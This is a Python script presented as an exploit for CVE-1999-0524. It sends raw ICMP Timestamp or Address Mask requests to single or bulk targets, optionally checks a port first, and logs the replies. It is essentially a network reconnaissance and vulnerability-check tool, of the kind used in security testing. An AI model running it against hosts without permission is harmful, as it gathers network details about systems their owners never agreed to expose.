import socket import struct import time import argparse import sys from datetime import datetime # Utility function to calculate checksum def calculate_checksum(data): s = 0 for i in range(0, len(data), 2): part = (data[i] << 8) + (data[i + 1] if i + 1 < len(data) else 0) s = s + part s = (s & 0xffff) + (s >> 16) return ~s & 0xffff # Function to check if a specific port is open def check_port(target_ip, target_port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) sock.connect((target_ip, target_port)) sock.close() return True except (socket.timeout, socket.error): return False # Function to send ICMP requests def send_icmp_request(target, icmp_type, icmp_code, output_file=None): try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) sock.settimeout(2) # Set a timeout for the socket # Create ICMP header packet_id = int(time.time()) & 0xFFFF header = struct.pack("!BBHHH", icmp_type, icmp_code, 0, packet_id, 1) payload = b"\x00" * 48 # Dummy payload checksum_value = calculate_checksum(header + payload) header = struct.pack("!BBHHH", icmp_type, icmp_code, checksum_value, packet_id, 1) packet = header + payload # Send packet sock.sendto(packet, (target, 0)) # Receive response response, addr = sock.recvfrom(1024) # Get current date and time for logging current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S') response_message = f"[{current_time}] Received response from {addr[0]}:\n{response.hex()}" print(response_message) # Optionally write output to file if output_file: with open(output_file, 'a') as f: f.write(f"Target: {target}\n{response_message}\n\n") except socket.timeout: error_message = f"No response received from {target}." print(error_message) if output_file: with open(output_file, 'a') as f: f.write(f"Target: {target}\n{error_message}\n\n") except PermissionError: print("Permission denied. Please run the script with administrative privileges.") except Exception as e: print(f"An error occurred: {e}") if output_file: with open(output_file, 'a') as f: f.write(f"Target: {target}\nError: {e}\n\n") finally: sock.close() # Banner function to display the CVE info def print_banner(): banner = """ ---------------------------------------------------------------------------- CVE-1999-0524 - ICMP Timestamp and Address Mask Request Exploit Description: This CVE affects ICMP requests that allow arbitrary hosts to send ICMP Timestamp and Address Mask requests to a target system, potentially exposing sensitive network details or causing DoS attacks. Author: Afif Hidayatullah Organization: ITSEC Asia ---------------------------------------------------------------------------- """ print(banner.center(80)) # Parse command-line arguments def parse_arguments(): parser = argparse.ArgumentParser(description="Send ICMP requests to a target IP or multiple IPs from a file, targeting CVE-1999-0524.") parser.add_argument("target", help="Target IP address or domain name, or file containing list of IPs/domains.") parser.add_argument("--type", type=int, default=13, help="ICMP Type (default is 13 for Timestamp Request).") parser.add_argument("--code", type=int, default=0, help="ICMP Code (default is 0).") parser.add_argument("--output", type=str, help="Optional: File to export output (default is no output).") parser.add_argument("--port", type=int, help="Port to check for open connection (optional). If not provided, only IP will be used.") parser.add_argument("--bulk", action="store_true", help="Indicate if you want to process multiple IPs from a file.") return parser.parse_args() # Main function to handle execution def main(): args = parse_arguments() # Print the banner print_banner() # If the target is a file, process each line in the file if args.bulk: try: with open(args.target, 'r') as file: ip_list = file.readlines() for ip in ip_list: ip = ip.strip() # If port is specified, check if it's open if args.port: print(f"Checking if port {args.port} is open on {ip}...") if check_port(ip, args.port): print(f"Port {args.port} is open on {ip}. Sending ICMP request...") send_icmp_request(ip, args.type, args.code, args.output) else: print(f"Port {args.port} is closed on {ip}. Skipping ICMP request.") else: # If no port is specified, just send ICMP request print(f"Sending ICMP request to {ip}...") send_icmp_request(ip, args.type, args.code, args.output) except FileNotFoundError: print(f"File {args.target} not found.") sys.exit(1) else: target_ip = args.target # Check if the target is an IP or domain if not target_ip.replace('.', '').isdigit(): # It's a domain name try: target_ip = socket.gethostbyname(target_ip) # Convert domain to IP address except socket.gaierror: print(f"Unable to resolve domain {target_ip}.") sys.exit(1) # If port is specified, check if it's open if args.port: print(f"Checking if port {args.port} is open on {target_ip}...") if check_port(target_ip, args.port): print(f"Port {args.port} is open on {target_ip}. Sending ICMP request...") send_icmp_request(target_ip, args.type, args.code, args.output) else: print(f"Port {args.port} is closed on {target_ip}. Skipping ICMP request.") else: # If no port is specified, just send ICMP request print(f"Sending ICMP request to {target_ip}...") send_icmp_request(target_ip, args.type, args.code, args.output) if __name__ == "__main__": main()